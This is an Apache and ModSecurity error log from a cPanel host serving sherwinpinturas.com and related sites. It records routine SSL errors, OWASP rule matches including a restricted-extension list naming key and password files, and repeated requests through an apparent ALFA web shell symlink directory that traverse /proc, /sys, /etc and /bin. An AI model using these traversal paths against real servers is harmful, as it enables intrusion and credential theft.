[Tue Oct 27 09:56:27.967754 2026] [security2:error] [pid 3238477:tid 3238477] [client 34.233.219.155:65052] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/slots/17/module/"] [unique_id "auCtixKut9jdf6Y85ZJciQAAABE"]
[Tue Oct 27 09:56:31.816981 2026] [ssl:error] [pid 3241901:tid 3241901] (70014)End of file found: [client 98.83.72.38:43069] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:56:40.454982 2026] [ssl:error] [pid 3241901:tid 3241901] (70014)End of file found: [client 34.233.114.237:45031] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:56:47.927350 2026] [ssl:error] [pid 3244586:tid 3244586] (70014)End of file found: [client 3.230.224.6:10989] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:56:51.791174 2026] [ssl:error] [pid 3241901:tid 3241901] (70014)End of file found: [client 184.73.68.20:12839] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:56:59.874839 2026] [ssl:error] [pid 3240341:tid 3240341] (70014)End of file found: [client 3.215.59.93:44390] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:57:04.502692 2026] [core:error] [pid 3241901:tid 3241901] (13)Permission denied: [client 3.222.190.107:45078] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/bind
[Tue Oct 27 09:57:07.790440 2026] [ssl:error] [pid 3240898:tid 3240898] (70014)End of file found: [client 18.206.47.187:5287] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:57:12.042337 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 52.70.123.241:28393] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:57:16.281415 2026] [ssl:error] [pid 3240341:tid 3240341] (70014)End of file found: [client 54.152.163.42:40649] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:57:24.527035 2026] [ssl:error] [pid 3240239:tid 3240239] (70014)End of file found: [client 44.193.102.198:32961] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:57:27.870609 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 100.29.63.24:23427] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:57:31.931614 2026] [ssl:error] [pid 3240341:tid 3240341] (70014)End of file found: [client 52.203.152.231:59032] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:57:35.932732 2026] [ssl:error] [pid 3242593:tid 3242593] (70014)End of file found: [client 23.22.105.143:49013] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:57:43.802502 2026] [core:error] [pid 3240715:tid 3240715] (13)Permission denied: [client 18.235.81.246:51439] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/piix4_smbus/module/sections/__verbose
[Tue Oct 27 09:57:48.119995 2026] [ssl:error] [pid 3240341:tid 3240341] (70014)End of file found: [client 54.87.62.248:57620] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:57:52.246686 2026] [ssl:error] [pid 3242593:tid 3242593] (70014)End of file found: [client 18.205.127.11:38578] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:57:56.128357 2026] [ssl:error] [pid 3240239:tid 3240239] (70014)End of file found: [client 98.82.107.102:33673] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:58:09.685516 2026] [security2:error] [pid 3244586:tid 3244586] [client 41.250.69.129:41091] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/resultados/servicio-de-gruas/1"] [unique_id "auCt8SiDiSRJ4KLqKQ6_-AAAAA8"], referer: https://sherwinpinturas.com/debug_aguascalientes_1.html
[Tue Oct 27 09:58:20.289863 2026] [ssl:error] [pid 3244586:tid 3244586] (70014)End of file found: [client 52.45.92.83:7318] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:58:22.789698 2026] [security2:error] [pid 3238313:tid 3238313] [client 49.235.136.28:38104] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "auCt_lIPfNLWYzT54Qrw0wAAAAk"]
[Tue Oct 27 09:58:22.790774 2026] [authz_core:error] [pid 3238313:tid 3238313] [client 49.235.136.28:38104] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 09:58:23.872352 2026] [ssl:error] [pid 3242593:tid 3242593] (70014)End of file found: [client 18.233.24.238:64907] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:58:32.207975 2026] [ssl:error] [pid 3241901:tid 3241901] (70014)End of file found: [client 100.28.133.214:44919] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:58:35.751399 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 54.86.59.155:37287] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:58:44.094034 2026] [ssl:error] [pid 3241901:tid 3241901] (70014)End of file found: [client 3.229.164.203:8548] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:58:47.891780 2026] [ssl:error] [pid 3242570:tid 3242570] (70014)End of file found: [client 50.19.221.48:12292] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:58:48.621562 2026] [security2:error] [pid 3244151:tid 3244151] [client 107.172.76.131:59681] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCuDbV5DUgPlLcU9k-I2wAAAAQ"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 09:58:48.621608 2026] [security2:error] [pid 3244151:tid 3244151] [client 107.172.76.131:59681] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "auCuDbV5DUgPlLcU9k-I2wAAAAQ"], referer: https://hoteles2.sherwinpinturas.com/beta.php
[Tue Oct 27 09:58:50.021325 2026] [security2:error] [pid 3238313:tid 3238313] [client 85.208.96.193:20350] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/mariadb@bootstrap.service.d/use_galera_new_cluster.conf"] [unique_id "auCuGlIPfNLWYzT54Qrw1QAAAAk"]
[Tue Oct 27 09:58:50.021653 2026] [security2:error] [pid 3238313:tid 3238313] [client 85.208.96.193:20350] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/mariadb@bootstrap.service.d/use_galera_new_cluster.conf"] [unique_id "auCuGlIPfNLWYzT54Qrw1QAAAAk"]
[Tue Oct 27 09:58:50.021942 2026] [security2:error] [pid 3238313:tid 3238313] [client 85.208.96.193:20350] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib/systemd/system/mariadb@bootstrap.service.d/use_galera_new_cluster.conf"] [unique_id "auCuGlIPfNLWYzT54Qrw1QAAAAk"]
[Tue Oct 27 09:58:52.841154 2026] [ssl:error] [pid 3242593:tid 3242593] (70014)End of file found: [client 44.217.177.142:40474] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:58:59.915256 2026] [ssl:error] [pid 3242570:tid 3242570] (70014)End of file found: [client 54.225.199.17:46858] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:59:03.964800 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 18.213.240.226:21893] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:59:08.482600 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 52.4.229.9:46440] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:59:11.736998 2026] [core:error] [pid 3242570:tid 3242570] (13)Permission denied: [client 3.224.104.67:36441] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/device:06/physical_node/driver/uevent
[Tue Oct 27 09:59:15.563511 2026] [security2:error] [pid 3240341:tid 3240341] [client 185.191.171.9:38014] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/zh_TW/index.db"] [unique_id "auCuMxwDNH6J5KC1JpzHPgAAABQ"]
[Tue Oct 27 09:59:15.563893 2026] [security2:error] [pid 3240341:tid 3240341] [client 185.191.171.9:38014] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/zh_TW/index.db"] [unique_id "auCuMxwDNH6J5KC1JpzHPgAAABQ"]
[Tue Oct 27 09:59:15.564233 2026] [security2:error] [pid 3240341:tid 3240341] [client 185.191.171.9:38014] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/cache/man/zh_TW/index.db"] [unique_id "auCuMxwDNH6J5KC1JpzHPgAAABQ"]
[Tue Oct 27 09:59:15.843934 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 23.23.137.202:58430] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:59:19.759992 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 34.225.24.180:3910] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:59:23.945976 2026] [ssl:error] [pid 3240341:tid 3240341] (70014)End of file found: [client 50.19.221.48:45938] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:59:27.794457 2026] [ssl:error] [pid 3241912:tid 3241912] (70014)End of file found: [client 98.83.72.38:9126] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:59:30.652004 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 185.191.171.1:17464] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:59:43.197796 2026] [ssl:error] [pid 3244586:tid 3244586] (70014)End of file found: [client 85.208.96.198:13638] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:59:43.996673 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 44.223.232.55:1326] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:59:47.884208 2026] [ssl:error] [pid 3241912:tid 3241912] (70014)End of file found: [client 34.195.60.66:21678] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 09:59:55.780787 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 44.217.255.167:23385] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:00:04.177489 2026] [core:error] [pid 3240341:tid 3240341] (13)Permission denied: [client 54.88.84.219:9926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/subsystem/devices/cpu1/crash_notes
[Tue Oct 27 10:00:08.001578 2026] [ssl:error] [pid 3245320:tid 3245320] (70014)End of file found: [client 3.230.224.6:60372] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:00:15.844180 2026] [ssl:error] [pid 3245329:tid 3245329] (70014)End of file found: [client 107.22.208.39:14893] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:00:20.032352 2026] [ssl:error] [pid 3238311:tid 3238311] (70014)End of file found: [client 98.82.40.168:8033] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:00:23.805235 2026] [ssl:error] [pid 3245320:tid 3245320] (70014)End of file found: [client 54.84.102.81:45278] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:00:35.884297 2026] [ssl:error] [pid 3242570:tid 3242570] (70014)End of file found: [client 23.21.175.228:31724] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:00:38.440715 2026] [core:error] [pid 3238313:tid 3238313] (13)Permission denied: [client 85.208.96.196:54912] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/sysconfig/dovecot
[Tue Oct 27 10:00:47.711774 2026] [ssl:error] [pid 3244151:tid 3244151] (70014)End of file found: [client 34.203.111.15:16595] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:01:00.870510 2026] [ssl:error] [pid 3240166:tid 3240166] (70014)End of file found: [client 52.203.65.83:6833] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:01:00.898657 2026] [ssl:error] [pid 3245434:tid 3245434] (70014)End of file found: [client 185.191.171.10:55140] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:01:03.742548 2026] [ssl:error] [pid 3245440:tid 3245440] (70014)End of file found: [client 3.89.176.255:57072] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:01:08.094885 2026] [ssl:error] [pid 3245443:tid 3245443] (70014)End of file found: [client 3.213.85.234:4386] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:01:12.115287 2026] [ssl:error] [pid 3245442:tid 3245442] (70014)End of file found: [client 54.221.203.24:48544] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:01:27.712294 2026] [core:error] [pid 3245443:tid 3245443] (13)Permission denied: [client 50.19.221.48:8501] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/device:1d/eject
[Tue Oct 27 10:01:32.936311 2026] [core:crit] [pid 3238315:tid 3238315] (13)Permission denied: [client 216.244.66.250:47886] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/398/fd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/398/fd/' is executable
[Tue Oct 27 10:01:32.936372 2026] [core:crit] [pid 3238315:tid 3238315] (13)Permission denied: [client 216.244.66.250:47886] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/398/map_files/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/398/map_files/' is executable
[Tue Oct 27 10:01:32.936389 2026] [core:crit] [pid 3238315:tid 3238315] (13)Permission denied: [client 216.244.66.250:47886] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/398/fdinfo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/398/fdinfo/' is executable
[Tue Oct 27 10:01:36.160384 2026] [ssl:error] [pid 3242146:tid 3242146] (70014)End of file found: [client 44.217.177.142:27286] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:01:43.751865 2026] [core:error] [pid 3238315:tid 3238315] (13)Permission denied: [client 44.223.116.180:2538] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/mice/subsystem/input1/device/driver/uevent
[Tue Oct 27 10:01:51.892874 2026] [ssl:error] [pid 3240166:tid 3240166] (70014)End of file found: [client 3.229.164.203:6853] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:01:55.924315 2026] [ssl:error] [pid 3245441:tid 3245441] (70014)End of file found: [client 107.20.25.33:5027] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:01:59.693422 2026] [ssl:error] [pid 3240910:tid 3240910] (70014)End of file found: [client 3.221.50.71:55608] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:02:03.721953 2026] [core:error] [pid 3245442:tid 3245442] (13)Permission denied: [client 184.73.239.35:16994] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0A03:00/device:00/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/driver/module/uevent
[Tue Oct 27 10:02:17.071244 2026] [ssl:error] [pid 3245436:tid 3245436] (70014)End of file found: [client 85.208.96.206:43256] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:02:17.112315 2026] [ssl:error] [pid 3245442:tid 3245442] (70014)End of file found: [client 85.208.96.206:43268] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:02:23.921452 2026] [ssl:error] [pid 3238313:tid 3238313] (70014)End of file found: [client 54.156.248.117:25537] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:02:26.601050 2026] [core:error] [pid 3245436:tid 3245436] (13)Permission denied: [client 216.244.66.250:60686] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/bin/chsh
[Tue Oct 27 10:02:31.969953 2026] [ssl:error] [pid 3240341:tid 3240341] (70014)End of file found: [client 100.29.128.75:33396] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:02:35.735207 2026] [ssl:error] [pid 3240910:tid 3240910] (70014)End of file found: [client 98.84.200.43:27407] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:02:43.776332 2026] [ssl:error] [pid 3245442:tid 3245442] (70014)End of file found: [client 52.3.104.214:39601] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:02:45.207753 2026] [security2:error] [pid 3240341:tid 3240341] [client 45.164.231.20:47586] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/categorias/materiales-de-construccion"] [unique_id "auCvBRwDNH6J5KC1JpzHSAAAABQ"], referer: https://sherwinpinturas.com/debug_aguascalientes_1.html
[Tue Oct 27 10:02:56.175872 2026] [ssl:error] [pid 3240341:tid 3240341] (70014)End of file found: [client 50.19.102.70:13988] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:03:09.884530 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 85.208.96.194:32760] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:03:11.881270 2026] [ssl:error] [pid 3240910:tid 3240910] (70014)End of file found: [client 34.192.67.98:22484] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:03:23.765981 2026] [ssl:error] [pid 3245635:tid 3245635] (5)Input/output error: [client 3.232.102.111:35813] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:03:27.717657 2026] [ssl:error] [pid 3238315:tid 3238315] (70014)End of file found: [client 107.20.224.184:50040] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:03:32.083136 2026] [ssl:error] [pid 3245638:tid 3245638] (70014)End of file found: [client 52.200.54.136:23349] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 10:03:33.715663 2026] [security2:error] [pid 3240910:tid 3240910] [client 85.208.96.212:16888] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sys"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/estonian/errmsg.sys"] [unique_id "auCvNeEUQAQrfTTee6biKgAAAA4"]
[Tue Oct 27 10:03:33.716050 2026] [security2:error] [pid 3240910:tid 3240910] [client 85.208.96.212:16888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/estonian/errmsg.sys"] [unique_id "auCvNeEUQAQrfTTee6biKgAAAA4"]
[Tue Oct 27 10:03:33.716406 2026] [security2:error] [pid 3240910:tid 3240910] [client 85.208.96.212:16888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/mysql/estonian/errmsg.sys"] [unique_id "auCvNeEUQAQrfTTee6biKgAAAA4"]
[Tue Oct 27 10:03:35.871992 2026] [security2:error] [pid 3245635:tid 3245635] [client 181.105.56.132:59136] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/resultados/hoteles/1"] [unique_id "auCvN4pQib43BVgUg-ltCAAAAAY"], referer: https://sherwinpinturas.com/debug_aguascalientes_1.html
[Tue Oct 27 10:03:36.018432 2026] [core:error] [pid 3242593:tid 3242593] (13)Permission denied: [client 3.222.85.38:30809] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/subsystem/devices/device:04/eject
[Tue Oct 27 10:03:44.313154 2026] [ssl:error] [pid 3242593:tid 3242593] (70014)End of file found: [client 50.19.102.70:43633] AH02013: coalesce failed to read from data bucket
